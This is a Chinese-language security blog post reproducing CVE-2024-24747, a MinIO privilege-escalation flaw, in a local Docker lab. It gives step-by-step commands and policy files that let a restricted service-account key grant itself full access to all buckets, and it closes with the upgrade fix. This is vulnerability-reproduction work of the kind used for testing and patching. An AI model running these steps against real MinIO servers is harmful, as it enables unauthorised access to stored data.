【漏洞复现】CVE-2024-24747:MinIO权限提升

【漏洞复现】CVE-2024-24747:MinIO权限提升

原创 fatmo 赛博安全狗 2024-03-24 13:30

简介

Minio是GlusterFS创
始人之一Anand Babu Periasamy发布新的开源项目。
基于Apache License v2.0开源协议的对象存储项目,采用Golang实现,客户端支Java,Python,Javacript, Golang语言。

其设计的主要目标是作为私有云对象存储的标准方案。主要用于存储海量的图片,视频,文档等。非常适合于存储大容量非结构化的数据,例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等,而一个对象文件可以是任意大小,从几kb到最大5T不等。

漏洞概述

漏洞编号:
CVE-2024-24747

在MinIO中,可以通过创建access key来控制,通常创建的access key会继承创建它的access key的权限。如果一个access key的parent key拥有更高的权限,就可以通过轻易升级到其parent key的权限。


受影响版本

https://github.com/minio/minio
,RELEASE.2024-01-31T20-20-33Z前的版本。

环境搭建

  • 拉取存在问题的
    镜像:
docker pull bitnami/minio:2024.1.29

  • 后把镜像拉起来:
docker run -d -p 9000:9000-p 9001:9001--name minio \            
-e MINIO_ROOT_USER=admin \            
-e MINIO_ROOT_PASSWORD=aa666666 \            
bitnami/minio:2024.1.29
  • 然后访问
    http://ip:9001
    即可

漏洞复现

  • 输入预设的账号密码登录,创建两个buket,分别为”public”和”private”:


– 创建一个新的访问密钥,名为mycat,配置如下策略:

{              
    "Version":"2012-10-17",              
    "Statement":[              
        {              
            "Effect":"Allow",              
            "Action":[              
                "s3:*"              
            ],              
            "Resource":[              
                "arn:aws:s3:::public",              
                "arn:aws:s3:::public/*"              
            ]              
        }              
    ]              
}


– 进入容器,然后使用如下命令添加别名(aa666666为创建访问密钥时输入的密码):

docker exec -it {docker_id}/bin/bash    
mc alias set vuln http://127.0.0.1:9000 mycat aa666666
  • 此时只能看到public桶,上述操作都模拟了正常用户的配置,只能访问到public,不能访问到private:
mc ls vuln


– 我们新建一个文件,写入如下内容:

{              
  "Version":"2012-10-17",              
  "Statement":[              
    {              
      "Effect":"Allow",              
      "Action":[              
        "s3:*"              
      ],              
      "Resource":[              
        "arn:aws:s3:::*"              
      ]              
    }              
  ]              
}
  • 容器内没有文本编辑器,我们可以这么写入:
cat > full-access-policy.json <<EOF              
{              
  "Version":"2012-10-17",              
  "Statement":[              
    {              
      "Effect":"Allow",              
      "Action":[              
        "s3:*"              
      ],              
      "Resource":[              
        "arn:aws:s3:::*"              
      ]              
    }              
  ]              
}              
EOF
  • 然后重新配置策略:
mc admin user svcacct edit --policy full-access-policy.json vuln mycat


– 再执行ls,可以看到已经有private的访问权限:

修复方式

升级到RELEASE.2024-01-31T20-20-33Z及以上的版本。